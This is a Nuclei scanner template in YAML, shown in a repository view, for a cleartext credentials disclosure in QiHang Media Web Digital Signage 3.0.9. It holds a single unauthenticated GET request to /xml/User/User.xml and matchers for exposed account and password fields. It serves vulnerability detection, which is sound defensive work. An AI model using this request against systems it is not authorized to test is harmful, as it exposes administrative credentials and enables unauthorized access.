nuclei-templates/http/vulnerabilities/other/qihang-media-disclosure.yaml

33 lines
1.0 KiB
YAML
Raw Normal View History

id: qihang-media-disclosure
info:
name: QiHang Media Web Digital Signage 3.0.9 - Cleartext Credentials Disclosure
author: gy741
severity: high
2022-05-31 09:12:37 +00:00
description: |
QiHang Media Web Digital Signage 3.0.9 suffers from a clear-text credentials disclosure vulnerability that allows an unauthenticated attacker to issue a request to an unprotected directory that hosts an XML file /xml/User/User.xml and obtain administrative login information that allows for a successful authentication bypass attack.
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5579.php
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id: CWE-522
tags: qihang,exposure
metadata:
max-request: 1
http:
- method: GET
path:
- "{{BaseURL}}/xml/User/User.xml"
matchers:
- type: word
2022-05-31 09:12:37 +00:00
part: body
words:
- "<?xml version"
- "<Users>"
- "account="
- "password="
condition: and